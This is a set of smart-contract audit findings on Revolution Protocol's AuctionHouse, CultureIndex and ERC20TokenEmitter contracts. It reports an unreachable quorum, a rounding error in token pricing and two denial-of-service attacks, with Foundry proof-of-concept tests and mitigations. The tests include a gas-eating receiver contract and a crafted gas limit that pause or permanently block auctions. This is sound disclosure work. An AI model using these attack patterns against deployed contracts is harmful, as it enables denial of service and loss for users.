Revolution Protocol - 00xSEV's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L226-L229

Vulnerability details

Vulnerability Details

When _createAuction is called a verbs NFT is minted https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L313

try verbs.mint() returns (uint256 verbId) {

When createPiece is called this NFT will be used in totalVotesSupply because all tokens from erc721VotingToken.totalSupply are summed up. Depending on erc721VotingTokenWeight it can be a very high percentage of total votes. https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L226-L229

        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(),
            erc721VotingToken.totalSupply()
        );

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L234

        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

But an NFT in an auction can't be used to vote for a piece created when the NFT was in an auction. Because at that block its votes can be only used by the AuctionHouse contract (the NFT is minted on its address), which is impossible. And to vote we can only use the NFTs and the ERC20s we had at the block the piece was created. https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L313

        uint256 weight = _getPastVotes(voter, pieces[pieceId].creationBlock);

So the NFT exists, it is counted as totalVotesSupply and quorumVotes, but can't be used to vote. And it can lead to an unreachable quorum for an NFT. For the reduced demonstration you can see the PoC

Impact

Unreachable quorum, or unexpectedly big quorum required. If there are not enough NontransferableERC20Votes issued it will be impossible to place the second NFT in the auction. If the NFT is burned (e.g. auction ends without bids) the next one will have the same problem.

Proof of Concept

Put the file in packages/revolution/test/auction/AuctionSettlingQuorum.t.sol Then run cd packages/revolution and FOUNDRY_PROFILE=dev forge test --match-test testQuorum -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import { AuctionHouseTest } from "./AuctionHouse.t.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ICultureIndex } from "../../src/interfaces/ICultureIndex.sol";
import { IVerbsToken } from "../../src/interfaces/IVerbsToken.sol";
import { MockWETH } from "../mock/MockWETH.sol";
import "forge-std/console.sol";

contract AuctionSettlingQuorumTest is AuctionHouseTest {
    receive() external payable {}

    function testQuorum() public {
        // Step 1: create first piece
        createDefaultArtPiece();

        // Step 2: put the piece to the auction
        auction.unpause();
        assertEq(auction.paused(), false);

        // Step 3: create one more piece
        // Note: it will include the first NFT in totalVotesSupply and quorumVotes 
        createDefaultArtPiece();
        (,,,,,uint256 quorumVotes,,) = cultureIndex.pieces(1);
        assertEq(quorumVotes, 200000000000000000);


        // Step 4: bid and skip to the end of the auction
        uint256 bidAmount = auction.reservePrice();
        address bidder = address(11);
        vm.deal(bidder, bidAmount);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0
        vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction
        vm.stopPrank();

        // Step 5: try to finish
        auction.settleCurrentAndCreateNewAuction();

        // But it just paused
        assertEq(auction.paused(), true);
        
        // Unpause does not help, and no way to vote for the current top piece
        vm.prank(auction.owner());
        auction.unpause();
        assertEq(auction.paused(), true);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider excluding the NFT in the auction from the quorumVotes

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L309-L313

Vulnerability details

Vulnerability Details

Only 63/64 gas is passed to a external call:

• https://docs.soliditylang.org/en/v0.8.23/security-considerations.html#call-stack-depth
• https://eips.ethereum.org/EIPS/eip-150

It's possible to use just enough gas to fail try verbs.mint() with out-of-gas, but to have enough left in AuctionHouse to finish _createAuction function execution https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L309-L313

    function _createAuction() internal {
        // Check if there's enough gas to safely execute token.mint() and subsequent operations
        require(gasleft() >= MIN_TOKEN_MINT_GAS_THRESHOLD, "Insufficient gas for creating auction");

        try verbs.mint() returns (uint256 verbId) {

MIN_TOKEN_MINT_GAS_THRESHOLD is not big enouht and it won't help if we have array of creators big enough, that will consume > MIN_TOKEN_MINT_GAS_THRESHOLD

Impact

The AuctionHouse is paused. We need to wait for the DAO to unpause it. It may take a while. And then the attack can be repeated.

Proof of Concept

Put the file in packages/revolution/test/auction/AuctionSettling6364.t.sol Then run cd packages/revolution and FOUNDRY_PROFILE=dev forge test --match-contract AuctionSettling6364Test -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import { AuctionHouseTest } from "./AuctionHouse.t.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ICultureIndex } from "../../src/interfaces/ICultureIndex.sol";
import { IVerbsToken } from "../../src/interfaces/IVerbsToken.sol";
import { MockWETH } from "../mock/MockWETH.sol";
import "forge-std/console.sol";

contract AuctionSettling6364Test is AuctionHouseTest {
    receive() external payable {}

    function testQuorumPaused() public {
        // Malicious gas limit
        theTest({
            gas: 1_500_000, 
            expectedPauseValue: true
        });
    }

    function testQuorumUnpaused() public {
        // Normal gas limit
        theTest({
            gas: 30_000_000, 
            expectedPauseValue: false
        });
    }

    function theTest(uint gas, bool expectedPauseValue) internal {
        // Step 1: create first and second pieces
        createDefaultArtPiece();
        createArtPieceWiht100Creators();

        // Step 2: put the first piece to the auction
        auction.unpause();
        assertEq(auction.paused(), false);


        // Step 3: bid and skip to the end of the auction
        uint256 bidAmount = auction.reservePrice();
        address bidder = address(11);
        vm.deal(bidder, bidAmount);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0
        vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction
        vm.stopPrank();

        // Step 4: try to finish
        auction.settleCurrentAndCreateNewAuction{
            gas: gas
        }();
        assertEq(auction.paused(), expectedPauseValue);
    }

    function createArtPieceWiht100Creators() internal {
        // Doesn't matter
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: 'test',
            description: 'test',
            mediaType: ICultureIndex.MediaType.OTHER,
            image: '',
            text: '',
            animationUrl: ''
        });

        uint creatorsCount = 100;
        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](creatorsCount);
        for (uint256 i = 0; i < creatorsCount; i++) {
            creators[i] = ICultureIndex.CreatorBps({ 
                // random address, doesn't matter
                creator: address(123),
                bps: 10_000 / creatorsCount 
            });
        }
        cultureIndex.createPiece(metadata, creators);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider increasing MIN_TOKEN_MINT_GAS_THRESHOLD

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L75

Vulnerability details

Vulnerability Details

It's possible to create a piece with up to 100 creators. And it can become top-voted and be used in an auction. https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/CultureIndex.sol#L75

uint256 public constant MAX_NUM_CREATORS = 100;

After the auction finishes the contract will: 1] transfer funds to each one of them - Each creator can eat up to 50k gas on receive, and then revert https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L429

success := call(50000, _to, _amount, 0, 0, 0, 0)

2] After the transfer reverts the contract will transfer WETH which eats additional gas. https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L433-L435

if (!success) {
	// Wrap as WETH
	IWETH(WETH).deposit{ value: _amount }();

3] Then it will call erc20TokenEmitter.buyToken which will eat even more gas https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/AuctionHouse.sol#L400

creatorTokensEmitted = erc20TokenEmitter.buyToken{ value: creatorsShare - ethPaidToCreators }(

It will lead to gas consumption more than a block gas limit for big arrays (See PoC for estimations) No way to fix this state after it happens which will lead to a permanent DOS

Impact

A permanent DOS of AuctionHouse

Proof of Concept

Put the file in packages/revolution/test/auction/AuctionSettlingVuln.t.sol Then run cd packages/revolution and forge test --match-test testBigThenSmall -vvv or FOUNDRY_PROFILE=dev forge test --match-test testBigThenSmall -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import { AuctionHouseTest } from "./AuctionHouse.t.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ICultureIndex } from "../../src/interfaces/ICultureIndex.sol";
import { IVerbsToken } from "../../src/interfaces/IVerbsToken.sol";
import { MockWETH } from "../mock/MockWETH.sol";
import "forge-std/console.sol";

contract EatGas {
    mapping (uint => uint) slotsToEatGas;
   
    receive() external payable {
        // eat as much gas as possible
        for (uint i; i < type(uint).max; i++){
            slotsToEatGas[i] = 1;
        }
    }
}

contract AuctionHouseSettleVulnTest is AuctionHouseTest {
    receive() external payable {}

    function testBigThenSmall() public {
        /* Step 1: prepare an art piece with many creators, e.g. 100 */
        createArtPieceWiht100Creators();

        /* Step 1.1: Create the second piece, will be required later to settle the auction */
        createDefaultArtPiece();

        /* Step 2: make a bid */
        // `unpause` will put the first created piece to the auction, the one with 100 creators
        auction.unpause();
        
        uint256 bidAmount = auction.reservePrice();
        address bidder = address(11);
        vm.deal(bidder, bidAmount);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0

        vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction

        /* Step 3: try to settle */
        uint gasBefore = gasleft();        
        auction.settleCurrentAndCreateNewAuction();
        console.log(gasBefore - gasleft());
        // Eth block gas limit is 30_000_000, in my environment it eats ~36,6 mln on default config
        // and ~47 mln on dev config
        // ~42mln if just reverts on receive (on dev config, you can change EatGas.receive to revert to test)
        // ~36mln if just receives without reverts (on dev config, you can just use a random address in ICultureIndex.CreatorBps.creator to test)
    }

    function createArtPieceWiht100Creators() internal {
        // Doesn't matter
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: 'test',
            description: 'test',
            mediaType: ICultureIndex.MediaType.OTHER,
            image: '',
            text: '',
            animationUrl: ''
        });

        uint creatorsCount = 100;
        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](creatorsCount);
        for (uint256 i = 0; i < creatorsCount; i++) {
            // Note: Can be a random address, but:
            // 1) We want to use a malicious contract that eat all the gas on eth transfer.
            // It will lead to fallback to WETH transfer, which will eat additional gas
            // 2) to eat additional gas we should use a new contract that has not interacted with 
            // WETH before, it will initialize this account's balance in WETH from 0 which cost 
            // more gas than changing existing balance.

            creators[i] = ICultureIndex.CreatorBps({ 
                // random address, doesn't matter
                creator: address(new EatGas()), 
                bps: 10_000 / creatorsCount 
            });
        }
        cultureIndex.createPiece(metadata, creators);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider reducing allowed MAX_NUM_CREATORS

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/ERC20TokenEmitter.sol#L187

Vulnerability details

emittedTokenWad can be different from NontransferableERC20Votes.totalSupply

emittedTokenWad is an accumulator of totalTokensForBuyers https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/ERC20TokenEmitter.sol#L187

emittedTokenWad += totalTokensForBuyers;

But when the contract mint tokens it uses a formula which use division which leads to rounding down https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/ERC20TokenEmitter.sol#L212

_mint(addresses[i], uint256((totalTokensForBuyers * int(basisPointSplits[i])) / 10_000));

So emittedTokenWad !== NontransferableERC20Votes.totalSupply

emittedTokenWad is used in getTokenQuoteForEther https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/ERC20TokenEmitter.sol#L259-L263

vrgdac.yToX({
	timeSinceStart: toDaysWadUnsafe(block.timestamp - startTime),
	sold: emittedTokenWad,
	amount: int(etherAmount)
});

The function is used in buyToken to calculate totalTokensForBuyers https://github.com/code-423n4/2023-12-revolutionprotocol/blob/c9e0e995aabf78810c498496f403f5d6c3146982/packages/revolution/src/ERC20TokenEmitter.sol#L184

int totalTokensForBuyers = toPayTreasury > 0 ? getTokenQuoteForEther(toPayTreasury) : int(0);

Because buyToken uses emittedTokenWad which is larger than totalSupply of NontransferableERC20Votes the price of tokens will be higher that needed.

Impact

Users need to spend more on future tokens than expected by formula

Tools Used

Manual review

Recommended Mitigation Steps

Consider saving real minted amount to emittedTokenWad

Assessed type

Math